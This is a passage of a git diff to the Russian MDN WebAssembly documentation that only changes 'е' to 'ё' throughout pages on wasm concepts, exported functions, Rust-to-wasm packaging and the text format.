href="/en-US/docs/Web/API/Blob">Blob</a>, может быть явным образом разделён между windows и workers (через <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). В модуле есть объявление импорта и экспорта точно такое же, как и в модуле ES2015.</li> <li><strong>Память</strong>: Массив ArrayBuffer изменяемого размера, который содержит линейный массив байтов, считываемых и записываемых инструкциями низкоуровневого доступа к памяти в WebAssembly. </li> <li><strong>Таблица</strong>: Типизированный массив ссылок изменяемого размера (например, для функций), которые не могут быть размещены в памяти в виде байтов (по соображениям безопасности и переносимости).</li> - <li><strong>Экземпляр</strong>: Модуль в паре со своим состоянием, которое он использует во время выполнения, включая память, таблицу и набор импортируемых значений. Экземпляр модуля похож на модуль ES2015, который был загружен в определенную глобальную переменную с определенным набором импортов.</li> + <li><strong>Экземпляр</strong>: Модуль в паре со своим состоянием, которое он использует во время выполнения, включая память, таблицу и набор импортируемых значений. Экземпляр модуля похож на модуль ES2015, который был загружен в определённую глобальную переменную с определённым набором импортов.</li> </ul> -<p>JavaScript API предоставляет разработчикам возможность создавать модули, объекты памяти, таблицы и экземпляры модулей. Получив экземпляр модуля WebAssembly, код JavaScript может синхронно вызывать его экспорты, которые представляются как обычные функции JavaScript. Любые функции JavaScript также могут синхронно вызываться кодом WebAssembly путем передачи этих функций в качестве импорта в экземпляр модуля WebAssembly.</p> +<p>JavaScript API предоставляет разработчикам возможность создавать модули, объекты памяти, таблицы и экземпляры модулей. Получив экземпляр модуля WebAssembly, код JavaScript может синхронно вызывать его экспорты, которые представляются как обычные функции JavaScript. Любые функции JavaScript также могут синхронно вызываться кодом WebAssembly путём передачи этих функций в качестве импорта в экземпляр модуля WebAssembly.</p> <p>Поскольку JavaScript полностью контролирует загрузку, компиляцию и запуск кода WebAssembly, разработчики JavaScript могут рассматривать технологию WebAssembly как расширение JavaScript для эффективной генерации высокопроизводительных функций.</p> <p>В будущем модули WebAssembly будут загружаться так же, как и <a href="https://github.com/WebAssembly/design/issues/1087">модули ES2015</a> (с использованием <code><script type='module'></code>), что означает, что JavaScript сможет извлекать, компилировать и импортировать модуль WebAssembly так же легко, как модуль ES2015.</p> -<h2 id="Как_я_могу_использовать_WebAssembly_в_своем_приложении">Как я могу использовать WebAssembly в своем приложении?</h2> +<h2 id="Как_я_могу_использовать_WebAssembly_в_своём_приложении">Как я могу использовать WebAssembly в своём приложении?</h2> <p>Выше мы говорили о низкоуровневых примитивах, которые WebAssembly добавляет к веб-платформе: двоичный формат для кода и API для его загрузки и запуска. Теперь давайте поговорим о том, как мы можем использовать эти примитивы на практике.</p> @@ -87,7 +87,7 @@ translation_of: WebAssembly/Concepts <h3 id="Портирование_из_CC">Портирование из C/C++</h3> -<p>Из множества вариантов создания кода WASM есть два наиболее популярных - это онлайн-сборщик wasm или <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. Существует еще несколько вариантов сборки WASM, таких как:</p> +<p>Из множества вариантов создания кода WASM есть два наиболее популярных - это онлайн-сборщик wasm или <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. Существует ещё несколько вариантов сборки WASM, таких как:</p> <ul> <li><a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a></li> @@ -104,9 +104,9 @@ translation_of: WebAssembly/Concepts <p>В двух словах, процесс работает следующим образом:</p> <ol> - <li>Сначала Emscripten передает код C/C++ в clang + LLVM - набор инструментов компилятора C/C++ с открытым исходным кодом, который поставляется, например, как часть XCode для OSX.</li> + <li>Сначала Emscripten передаёт код C/C++ в clang + LLVM - набор инструментов компилятора C/C++ с открытым исходным кодом, который поставляется, например, как часть XCode для OSX.</li> <li>Emscripten преобразует скомпилированный результат clang + LLVM в двоичный файл .wasm. </li> - <li>Сам по себе код WebAssembly в настоящее время не может напрямую обращаться к DOM; он может вызывать только JavaScript, передавая целочисленные и числа с плавающей точкой примитивные типы данных. Таким образом, чтобы получить доступ к любому Web-API, WebAssembly модуль должен обращаться к JavaScript, который затем вызывает Web-API. Поэтому Emscripten создает необходимый для этого связующий код HTML и JavaScript.</li> + <li>Сам по себе код WebAssembly в настоящее время не может напрямую обращаться к DOM; он может вызывать только JavaScript, передавая целочисленные и числа с плавающей точкой примитивные типы данных. Таким образом, чтобы получить доступ к любому Web-API, WebAssembly модуль должен обращаться к JavaScript, который затем вызывает Web-API. Поэтому Emscripten создаёт необходимый для этого связующий код HTML и JavaScript.</li> </ol> <div class="note"> diff --git a/files/ru/webassembly/exported_functions/index.html b/files/ru/webassembly/exported_functions/index.html index c586422de3..d46ae2ad53 100644 --- a/files/ru/webassembly/exported_functions/index.html +++ b/files/ru/webassembly/exported_functions/index.html @@ -14,7 +14,7 @@ translation_of: WebAssembly/Exported_functions <h2 id="Экспортированные…_что">Экспортированные… что?</h2> -<p>Экспортированные функции это просто JavaScript обертки, которые вызывают функции модуля WebAssembly. При их использовании происходит неявное преобразование типов аргументов функции в типы, с которыми может работать WebAssembly (например, преобразование number в int32). Дальше эти аргументы передаются функции вашего модуля и она вызывается. Результат также преобразовывается и возвращается в JavaScript.</p> +<p>Экспортированные функции это просто JavaScript обёртки, которые вызывают функции модуля WebAssembly. При их использовании происходит неявное преобразование типов аргументов функции в типы, с которыми может работать WebAssembly (например, преобразование number в int32). Дальше эти аргументы передаются функции вашего модуля и она вызывается. Результат также преобразовывается и возвращается в JavaScript.</p> <p>Вы можете получить список экспортированных функций двумя способами:</p> @@ -23,11 +23,11 @@ translation_of: WebAssembly/Exported_functions <li>Через <code><a href="/en-US/docs/WebAssembly/API/Instance/exports">Instance.exports</a></code> существующего экземпляра модуля.</li> </ul> -<p>В любом случае вы получаете одну и туже обертку функции вашего модуля. С точки зрения JavaScript, все экспортированные функции wasm являются функциями JavaScript, но они инкапсулированы экземпляром модуля wasm, и имеют только ограниченный способ доступа к ним.</p> +<p>В любом случае вы получаете одну и туже обёртку функции вашего модуля. С точки зрения JavaScript, все экспортированные функции wasm являются функциями JavaScript, но они инкапсулированы экземпляром модуля wasm, и имеют только ограниченный способ доступа к ним.</p> <h2 id="Пример">Пример</h2> -<p>Давайте посмотрим на пример, чтобы прояснить ситуацию (вы можете найти его на GitHub как <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html">table-set.html</a> или <a href="https://mdn.github.io/webassembly-examples/other-examples/table-set.html">запустить в своем браузере</a>, и посмотреть <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">текстовое представление модуля wasm</a>):</p> +<p>Давайте посмотрим на пример, чтобы прояснить ситуацию (вы можете найти его на GitHub как <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html">table-set.html</a> или <a href="https://mdn.github.io/webassembly-examples/other-examples/table-set.html">запустить в своём браузере</a>, и посмотреть <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">текстовое представление модуля wasm</a>):</p> <pre class="brush: js">var otherTable = new WebAssembly.Table({ element: "anyfunc", initial: 2 }); @@ -42,7 +42,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm')) console.log(otherTable.get(1)()); });</pre> -<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Здесь мы создаем таблицу </span></font>otherTable</code> из JavaScript используя конструктор {{jsxref("WebAssembly.Table")}}, после этого мы загружаем модуль <code>table.wasm</code> при помощи функции {{jsxref("WebAssembly.instantiateStreaming()")}}.</p> +<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Здесь мы создаём таблицу </span></font>otherTable</code> из JavaScript используя конструктор {{jsxref("WebAssembly.Table")}}, после этого мы загружаем модуль <code>table.wasm</code> при помощи функции {{jsxref("WebAssembly.instantiateStreaming()")}}.</p> <p>Затем мы получаем объект содержащий все функции, экспортированные из экземпляра модуля. Извлекаем ссылки на эти функции через <code><a href="/en-US/docs/WebAssembly/API/Table/get">tbl.get()</a>,</code> вызываем их и выводим результат работы в консоль. Затем мы используем <code>set()</code> чтобы таблица <code>otherTable</code> содержала ссылки на те же функции, что и таблица <code>tbl</code>.</p> @@ -52,7 +52,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm')) <p>В предыдущем примере возвращаемое значение каждого вызова <code><a href="/en-US/docs/WebAssembly/API/Table/get">Table.prototype.get()</a></code> является экспортированной функцией WebAssembly — это именно то, о чем мы говорили.</p> -<p>Стоит заметить что помимо того что они являются обертками для функций WebAssembly, это обычные функции JavaScript. Если вы загрузите приведенный выше пример в <a href="/en-US/docs/WebAssembly#Browser_compatibility">браузере с поддержкой WebAssembly</a>, и запустите следующие строки в консоли:</p> +<p>Стоит заметить что помимо того что они являются обёртками для функций WebAssembly, это обычные функции JavaScript. Если вы загрузите приведённый выше пример в <a href="/en-US/docs/WebAssembly#Browser_compatibility">браузере с поддержкой WebAssembly</a>, и запустите следующие строки в консоли:</p> <pre class="brush: js">var testFunc = otherTable.get(0); typeof testFunc;</pre> @@ -70,5 +70,5 @@ typeof testFunc;</pre> <ul> <li>Их свойство <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length">length</a> это количество аргументов указанных в сигнатуре wasm функции.</li> <li>Их свойство <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">name</a> является результатом вызова <code>toString()</code> индекса функции в модуле wasm.</li> - <li>Если вы попытаетесь вызвать экспортированную функцию wasm, которая принимает или возвращает значение типа i64, то это приведет к ошибке, поскольку в настоящее время JavaScript не имеет точного способа представления i64. Однако в дальнейшем это может измениться - новый тип int64 рассматривается для будущих стандартов, который затем может использоваться wasm.</li> + <li>Если вы попытаетесь вызвать экспортированную функцию wasm, которая принимает или возвращает значение типа i64, то это приведёт к ошибке, поскольку в настоящее время JavaScript не имеет точного способа представления i64. Однако в дальнейшем это может измениться - новый тип int64 рассматривается для будущих стандартов, который затем может использоваться wasm.</li> </ul> diff --git a/files/ru/webassembly/index.html b/files/ru/webassembly/index.html index 84e0c56b57..0d5c9c5d30 100644 --- a/files/ru/webassembly/index.html +++ b/files/ru/webassembly/index.html @@ -13,7 +13,7 @@ translation_of: WebAssembly <p dir="ltr">WebAssembly разработан для дополнения JavaScript – используя WebAssembly JavaScript API вы можете загружать модули WebAssembly в приложения JavaScript и обеспечивать взаимодействие между ними, используя общие функции. Такой подход позволяет вам получить производительность и мощность WebAssembly, а также выразительность и гибкость JavaScript в ваших приложениях, даже если вы не знаете как писать код WebAssembly, а используете готовые модули.</p> -<p dir="ltr">И что еще лучше, так это то, что WebAssembly разрабатывается как веб-стандарт <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> и <a href="https://www.w3.org/community/webassembly/">Community Group</a> при активном участии основных производителей браузеров.</p> +<p dir="ltr">И что ещё лучше, так это то, что WebAssembly разрабатывается как веб-стандарт <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> и <a href="https://www.w3.org/community/webassembly/">Community Group</a> при активном участии основных производителей браузеров.</p> <div class="row topicpage-table"> <div class="section"> @@ -46,7 +46,7 @@ translation_of: WebAssembly <dl> <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt> - <dd>Этот объект является пространством имен для всех функций, связанных с WebAssembly.</dd> + <dd>Этот объект является пространством имён для всех функций, связанных с WebAssembly.</dd> <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt> <dd>Объект <code>WebAssembly.Module</code> содержит не контролируемый WebAssembly код, который уже скомпилирован браузером и может эффективно использоваться совместно с<a href="/en-US/docs/Web/API/Worker/postMessage"> Workers</a>, <a href="/en-US/docs/WebAssembly/Caching_modules">кешироваться в IndexedDB</a>, и иметь несколько экземпляров.</dd> <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt> @@ -58,11 +58,11 @@ translation_of: WebAssembly <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt> <dd><code>WebAssembly.Table</code> объект является изменяемым типизированным массивом значений, таких как ссылки на функции, которые доступны <code>Instance</code>.</dd> <dt>{{jsxref("WebAssembly.CompileError()")}}</dt> - <dd>Создает новый WebAssembly <code>CompileError</code> объект.</dd> + <dd>Создаёт новый WebAssembly <code>CompileError</code> объект.</dd> <dt>{{jsxref("WebAssembly.LinkError()")}}</dt> - <dd>Создает новый WebAssembly <code>LinkError</code> объект.</dd> + <dd>Создаёт новый WebAssembly <code>LinkError</code> объект.</dd> <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt> - <dd>Создает новый WebAssembly <code>RuntimeError</code> объект.</dd> + <dd>Создаёт новый WebAssembly <code>RuntimeError</code> объект.</dd> </dl> </div> </div> @@ -96,7 +96,7 @@ translation_of: WebAssembly <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Эта таблица совместимости автоматически создается на основе структурированных данных. Если вы хотите внести свой вклад, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на внесение изменений.</div> +<div class="hidden">Эта таблица совместимости автоматически создаётся на основе структурированных данных. Если вы хотите внести свой вклад, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на внесение изменений.</div> <p>{{Compat("javascript.builtins.WebAssembly")}}</p> </div> diff --git a/files/ru/webassembly/loading_and_running/index.html b/files/ru/webassembly/loading_and_running/index.html index a796cc7a30..20460d2e40 100644 --- a/files/ru/webassembly/loading_and_running/index.html +++ b/files/ru/webassembly/loading_and_running/index.html @@ -15,7 +15,7 @@ translation_of: WebAssembly/Loading_and_running <h2 id="Какие_есть_варианты">Какие есть варианты?</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">WebAssembly еще не интегрирована с </span></span> <code><script type='module'></code> <span class="tlid-translation translation" lang="ru"><span title="">или ES2015 </span><span class="alt-edited" title="">оператором</span></span> <code>import</code>, <span class="tlid-translation translation" lang="ru"><span title="">поэтому не существует пути, позволяющего использовать модули загрузки браузера для использования импорта.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">WebAssembly ещё не интегрирована с </span></span> <code><script type='module'></code> <span class="tlid-translation translation" lang="ru"><span title="">или ES2015 </span><span class="alt-edited" title="">оператором</span></span> <code>import</code>, <span class="tlid-translation translation" lang="ru"><span title="">поэтому не существует пути, позволяющего использовать модули загрузки браузера для использования импорта.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Старые методы</span></span> {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} <span class="tlid-translation translation" lang="ru"><span title="">требуют создания </span></span>{{domxref("ArrayBuffer")}}, <span class="tlid-translation translation" lang="ru"><span title="">содержащего двоичный файл модуля WebAssembly после загрузки необработанных байтов, а затем скомпилировать/создать его экземпляр.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Это аналог</span></span> <code>new Function(string)</code>,<span class="tlid-translation translation" lang="ru"><span title=""> за исключением того, что мы заменяем строку символов (исходный код JavaScript) буфером байтов массива (исходный код WebAssembly).</span></span></p> diff --git a/files/ru/webassembly/rust_to_wasm/index.html b/files/ru/webassembly/rust_to_wasm/index.html index 629987ff09..381d424bf0 100644 --- a/files/ru/webassembly/rust_to_wasm/index.html +++ b/files/ru/webassembly/rust_to_wasm/index.html @@ -22,7 +22,7 @@ translation_of: WebAssembly/Rust_to_wasm <h2 id="Настройка_окружения_Rust">Настройка окружения Rust</h2> -<p>Давайте пройдемся по всем пунктам, необходимым для настройки нашего окружения.</p> +<p>Давайте пройдёмся по всем пунктам, необходимым для настройки нашего окружения.</p> <h3 id="Установка_Rust">Установка Rust</h3> @@ -55,12 +55,12 @@ Password: Email: (this IS public) you@example.com </code></pre> -<p>Вам понадобится ввести свое пользовательское имя, пароль и email. Если все получится, вы увидите:</p> +<p>Вам понадобится ввести своё пользовательское имя, пароль и email. Если все получится, вы увидите:</p> <pre class="brush: bash notranslate"><code>Logged in as yournpmusername on https://registry.npmjs.org/. </code></pre> -<p>Если что-то пойдет не так, свяжитесь с командой npm, чтобы разобраться.</p> +<p>Если что-то пойдёт не так, свяжитесь с командой npm, чтобы разобраться.</p> <h2 id="Создание_WebAssembly_npm-пакета">Создание WebAssembly npm-пакета</h2> @@ -111,7 +111,7 @@ pub fn greet(name: &str) { } </code></pre> -<p>Это содержимое нашего проекта на Rust. У него есть три основные части, давайте пройдемся по ним по очереди. Мы дадим здесь обобщенное пояснение и поясним некоторые детали; чтобы узнать больше о Rust, пожалуйста, просмотрите бесплатную online-книгу <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a>.</p> +<p>Это содержимое нашего проекта на Rust. У него есть три основные части, давайте пройдёмся по ним по очереди. Мы дадим здесь обобщённое пояснение и поясним некоторые детали; чтобы узнать больше о Rust, пожалуйста, просмотрите бесплатную online-книгу <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a>.</p> <h4 id="Использование_wasm-bindgen_для_коммуникации_между_Rust_и_JavaScript">Использование <code>wasm-bindgen</code> для коммуникации между Rust и JavaScript</h4> @@ -144,13 +144,13 @@ extern { } </code></pre> -<p>Частичка внутри <code>#[]</code> называется "атрибутом", и она кое-как модифицирует следующее за ней утверждение. В нашем случае, это утверждение <code>extern</code>, которое говорит Rust-у, что мы хотим вызвать некоторую функцию, определенную во внешнем пространстве. Атрибут говорит: "wasm-bindgen знает, как найти эти функции".</p> +<p>Частичка внутри <code>#[]</code> называется "атрибутом", и она кое-как модифицирует следующее за ней утверждение. В нашем случае, это утверждение <code>extern</code>, которое говорит Rust-у, что мы хотим вызвать некоторую функцию, определённую во внешнем пространстве. Атрибут говорит: "wasm-bindgen знает, как найти эти функции".</p> <p>Третья строка это имя функции, написанной на Rust. Она говорит: "функция <code>alert</code> принимает один аргумент, строку с именем <code>s</code>."</p> <p>У вас, возможно, есть предположение, что это за функция, и, возможно, ваше предположение верное: это функция<a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert"> <code>alert</code>, предоставляемая JavaScript</a>! Мы будем вызывать эту функцию в следующей секции.</p> -<p>Когда бы вы не захотели вызвать новую функцию JavaScript, вы можете написать ее здесь, и <code>wasm-bindgen</code> позаботится о том, чтобы настроить все для вас. Пока еще поддерживается не все, но мы работаем над этим! Пожалуйста, <a href="https://github.com/rustwasm/wasm-bindgen/issues/new">сообщайте о проблемах</a>, если что-то было упущено.</p> +<p>Когда бы вы не захотели вызвать новую функцию JavaScript, вы можете написать её здесь, и <code>wasm-bindgen</code> позаботится о том, чтобы настроить все для вас. Пока ещё поддерживается не все, но мы работаем над этим! Пожалуйста, <a href="https://github.com/rustwasm/wasm-bindgen/issues/new">сообщайте о проблемах</a>, если что-то было упущено.</p> <h4 id="Создание_функций_Rust_который_может_вызывать_JavaScript">Создание функций Rust, который может вызывать JavaScript</h4> @@ -162,15 +162,15 @@ pub fn greet(name: &str) { } </code></pre> -<p>Еще раз, мы видим <code>#[wasm_bindgen]</code> атрибут. В этом случае, он модифицирует не блок <code>extern</code>, а <code>fn</code>; это значит, что мы хотим, чтобы эта функция на Rust была доступна для JavaScript. Прямо противоположно <code>extern</code>: это не те функции, которые нам нужны, а те, что мы предоставляем миру!</p> +<p>Ещё раз, мы видим <code>#[wasm_bindgen]</code> атрибут. В этом случае, он модифицирует не блок <code>extern</code>, а <code>fn</code>; это значит, что мы хотим, чтобы эта функция на Rust была доступна для JavaScript. Прямо противоположно <code>extern</code>: это не те функции, которые нам нужны, а те, что мы предоставляем миру!</p> -<p>Наша функция называется <code>greet</code>, и она принимает один аргумент, строку (пишется <code>&str</code>), <code>name</code>. Затем она вызывает функцию <code>alert</code>, которую мы запросили в блоке <code>extern</code> выше. Она передает вызов макросу <code>format!</code>, который позволяет нам соединить строки.</p> +<p>Наша функция называется <code>greet</code>, и она принимает один аргумент, строку (пишется <code>&str</code>), <code>name</code>. Затем она вызывает функцию <code>alert</code>, которую мы запросили в блоке <code>extern</code> выше. Она передаёт вызов макросу <code>format!</code>, который позволяет нам соединить строки.</p> -<p><code>format!</code> принимает два аргумента в нашем случае: форматируемую строку и переменную, которую должен в нее поместить. Форматируемая строка это <code>"Hello, {}!"</code> часть. Она содержит <code>{}</code>, куда будет вставлена переменная. Переменная, которую мы передаем, это <code>name</code>, аргумент функции, так что если мы вызовем <code>greet("Steve")</code>, то увидим <code>"Hello, Steve!".</code></p> +<p><code>format!</code> принимает два аргумента в нашем случае: форматируемую строку и переменную, которую должен в неё поместить. Форматируемая строка это <code>"Hello, {}!"</code> часть. Она содержит <code>{}</code>, куда будет вставлена переменная. Переменная, которую мы передаём, это <code>name</code>, аргумент функции, так что если мы вызовем <code>greet("Steve")</code>, то увидим <code>"Hello, Steve!".</code></p> -<p>Все это передается в <code>alert()</code>, так что когда мы вызовем функцию, мы увидим алерт с "Hello, Steve!" внутри него!</p> +<p>Все это передаётся в <code>alert()</code>, так что когда мы вызовем функцию, мы увидим алерт с "Hello, Steve!" внутри него!</p> -<p>Теперь, когда наша библиотека написана, давайте соберем ее.</p> +<p>Теперь, когда наша библиотека написана, давайте соберём ее.</p> <h3 id="Компиляция_кода_в_WebAssembly">Компиляция кода в WebAssembly</h3> @@ -199,7 +199,7 @@ wasm-bindgen = "0.2" <h3 id="Сборка_пакета">Сборка пакета</h3> -<p>Теперь, когда мы все установили, давайте соберем проект! Введите это в терминале:</p> +<p>Теперь, когда мы все установили, давайте соберём проект! Введите это в терминале:</p> <pre class="brush: bash notranslate"><code class="shell language-shell">$ wasm-pack build --scope mynpmusername </code></pre> @@ -209,8 +209,8 @@ wasm-bindgen = "0.2" <ol> <li>Компилирует ваш Rust-код в WebAssembly.</li> <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Запускает </span></font>wasm-bindgen</code> с этим WebAssembly, генерируя JavaScript файл, который оборачивает WebAssembly файл в модуль. который может понять npm.</li> - <li>Создает папку <code>pkg</code>, куда перемещает этот JavaScript файл и ваш код WebAssembly.</li> - <li>Читает ваш <code>Cargo.toml</code> и создает эквивалентный <code>package.json</code>.</li> + <li>Создаёт папку <code>pkg</code>, куда перемещает этот JavaScript файл и ваш код WebAssembly.</li> + <li>Читает ваш <code>Cargo.toml</code> и создаёт эквивалентный <code>package.json</code>.</li> <li>Копирует ваш <code>README.md</code> (если есть) в пакет.</li> </ol> @@ -232,7 +232,7 @@ $ npm publish --access=public <h2 id="Использование_пакета_в_web">Использование пакета в web</h2> -<p>Давайте создадим сайт, который будет использовать наш пакет! Многие пользуются пакетами npm с помощью разных сборщиков, и мы будем использовать один из них, <code>webpack</code>, в этом руководстве. Он только немного более усложненный, но описывает более реалистичный вариант использования.</p> +<p>Давайте создадим сайт, который будет использовать наш пакет! Многие пользуются пакетами npm с помощью разных сборщиков, и мы будем использовать один из них, <code>webpack</code>, в этом руководстве. Он только немного более усложнённый, но описывает более реалистичный вариант использования.</p> <p>Давайте выйдем из нашей папки <code>pkg</code> и создадим новую, <code>site</code>, чтобы попробовать в ней следующее:</p> @@ -258,7 +258,7 @@ $ cd site } </code></pre> -<p>Заметьте, что вам нужно ввести свое пользовательское имя после <code>@</code> в секции зависимостей.</p> +<p>Заметьте, что вам нужно ввести своё пользовательское имя после <code>@</code> в секции зависимостей.</p> <p>Дальше нам нужно сконфигурировать Webpack. Создайте <code>webpack.config.js</code> и введите следующее:</p> @@ -297,7 +297,7 @@ js.then(js => { <p>Заметьте, что вам нужно будет снова ввести ваше имя для npm.</p> -<p>Так мы импортируем наш модуль из папки <code>node_modules</code>. Это не считается лучшей практикой, но это пример, так что пока сойдет. Как только файл загрузится, он вызовет функцию <code>greet</code> из этого модуля, передав <code>"WebAssembly"</code>, как строку. Обратите внимание, что здесь нет ничего особенного, и все же мы вызываем код на Rust! Насколько JavaScript код может судить, это просто обычный модуль.</p> +<p>Так мы импортируем наш модуль из папки <code>node_modules</code>. Это не считается лучшей практикой, но это пример, так что пока сойдёт. Как только файл загрузится, он вызовет функцию <code>greet</code> из этого модуля, передав <code>"WebAssembly"</code>, как строку. Обратите внимание, что здесь нет ничего особенного, и все же мы вызываем код на Rust! Насколько JavaScript код может судить, это просто обычный модуль.</p> <p>Мы закончили! Давайте попробуем:</p> diff --git a/files/ru/webassembly/understanding_the_text_format/index.html b/files/ru/webassembly/understanding_the_text_format/index.html index 38934e21f2..226a873888 100644 --- a/files/ru/webassembly/understanding_the_text_format/index.html +++ b/files/ru/webassembly/understanding_the_text_format/index.html @@ -8,14 +8,14 @@ translation_of: WebAssembly/Understanding_the_text_format <p class="summary">Чтобы люди могли читать и редактировать код WebAssembly, существует текстовое представление двоичного формата wasm. Это промежуточная форма, предназначенная для отображения в текстовых редакторах, средствах разработки браузеров и т. д. В этой статье объясняется, как работает этот текстовый формат с точки зрения синтаксиса, как он связан с байт-кодом, который он представляет и оболочками объектов wasm в JavaScript.</p> <div class="note"> -<p><strong>Примечание</strong>: Ознакомление с данной статьей может оказаться излишним, если вы веб-разработчик, который просто хочет загрузить модуль wasm на страницу и использовать его в своем коде (см. <a href="/ru/docs/WebAssembly/Using_the_JavaScript_API">Использование WebAssembly JavaScript API</a>). Эта статья будет наиболее полезной, если вы хотите написать несколько модулей wasm для оптимизации производительности вашей библиотеки JavaScript или создать свой собственный компилятор WebAssembly.</p> +<p><strong>Примечание</strong>: Ознакомление с данной статьёй может оказаться излишним, если вы веб-разработчик, который просто хочет загрузить модуль wasm на страницу и использовать его в своём коде (см. <a href="/ru/docs/WebAssembly/Using_the_JavaScript_API">Использование WebAssembly JavaScript API</a>). Эта статья будет наиболее полезной, если вы хотите написать несколько модулей wasm для оптимизации производительности вашей библиотеки JavaScript или создать свой собственный компилятор WebAssembly.</p> </div> <h2 id="S-выражения">S-выражения</h2> <p>Как в двоичном, так и в текстовом форматах основным блоком кода в WebAssembly является модуль. В текстовом формате модуль представлен как одно большое S-выражение. S-выражения - это очень старый и очень простой текстовый формат для представления деревьев. И поэтому мы можем думать о модуле как о дереве узлов, которые описывают структуру модуля и его код. В отличие от абстрактного синтаксического дерева в языке программирования, дерево WebAssembly довольно плоское и состоит в основном из списков инструкций.</p> -<p>Во-первых, давайте посмотрим, как выглядит S-выражение. Каждый узел дерева входит в пару круглых скобок - <code>( ... )</code>. Первая метка в скобках сообщает вам, какой это тип узла, за ним следует разделенный пробелами список атрибутов или дочерних узлов. Давайте рассмотрим, что означает следующее S-выражение WebAssembly:</p> +<p>Во-первых, давайте посмотрим, как выглядит S-выражение. Каждый узел дерева входит в пару круглых скобок - <code>( ... )</code>. Первая метка в скобках сообщает вам, какой это тип узла, за ним следует разделённый пробелами список атрибутов или дочерних узлов. Давайте рассмотрим, что означает следующее S-выражение WebAssembly:</p> <pre>(module (memory 1) (func))</pre> @@ -23,7 +23,7 @@ translation_of: WebAssembly/Understanding_the_text_format <h3 id="Самый_простой_модуль">Самый простой модуль</h3> -<p>Давайте начнем с самого простого модуля wasm.</p> +<p>Давайте начнём с самого простого модуля wasm.</p> <pre>(module)</pre> @@ -44,7 +44,7 @@ translation_of: WebAssembly/Understanding_the_text_format <ul> <li><strong>signature</strong> объявляет, что функция принимает (параметры) и возвращает (возвращаемые значения).</li> - <li><strong>locals</strong> похожи на переменные в JavaScript, но с определенными явными типами.</li> + <li><strong>locals</strong> похожи на переменные в JavaScript, но с определёнными явными типами.</li> <li><strong>body</strong> - это просто линейный список низкоуровневых инструкций.</li> </ul> @@ -101,11 +101,11 @@ translation_of: WebAssembly/Understanding_the_text_format <h2 id="Стековые_машины">Стековые машины</h2> -<p>Прежде чем мы сможем написать тело функции, мы должны поговорить еще о <strong>стековых машинах</strong>. Хотя браузер компилирует wasm-код во что-то более эффективное, выполнение его определяется в терминах стековой машины, где основная идея заключается в том, что каждый тип инструкции получает или помещает определенное количество значений <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code> в стек или из стека.</p> +<p>Прежде чем мы сможем написать тело функции, мы должны поговорить ещё о <strong>стековых машинах</strong>. Хотя браузер компилирует wasm-код во что-то более эффективное, выполнение его определяется в терминах стековой машины, где основная идея заключается в том, что каждый тип инструкции получает или помещает определённое количество значений <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code> в стек или из стека.</p> -<p>Например, инструкция <code>get_local</code> предназначена для помещения значения локальной переменной, которое она считала, в стек. А инструкция <code>i32.add</code> получает два значения <code>i32</code> (неявно получает два предыдущих значения, помещенных в стек), вычисляет их сумму и помещает назад в стек результат вычисления <code>i32</code>.</p> +<p>Например, инструкция <code>get_local</code> предназначена для помещения значения локальной переменной, которое она считала, в стек. А инструкция <code>i32.add</code> получает два значения <code>i32</code> (неявно получает два предыдущих значения, помещённых в стек), вычисляет их сумму и помещает назад в стек результат вычисления <code>i32</code>.</p> -<p>Когда вызывается функция, для нее выделяется пустой стек, который постепенно заполняется и очищается при выполнении инструкций в теле функции. Так, например, после выполнения следующей функции:</p> +<p>Когда вызывается функция, для неё выделяется пустой стек, который постепенно заполняется и очищается при выполнении инструкций в теле функции. Так, например, после выполнения следующей функции:</p> <pre>(func (param $p i32) get_local $p @@ -128,7 +128,7 @@ translation_of: WebAssembly/Understanding_the_text_format <p>Эта функция получает два параметра, складывает их вместе и возвращает результат.</p> -<p>Есть еще много инструкций, которые можно поместить в тело функции. Сейчас мы начнем с простых, а далее вы увидите гораздо больше примеров по мере продвижения. Полный список доступных инструкций смотрите в справочнике по <a href="http://webassembly.org/docs/semantics/">семантике webassembly.org</a>.</p> +<p>Есть ещё много инструкций, которые можно поместить в тело функции. Сейчас мы начнём с простых, а далее вы увидите гораздо больше примеров по мере продвижения. Полный список доступных инструкций смотрите в справочнике по <a href="http://webassembly.org/docs/semantics/">семантике 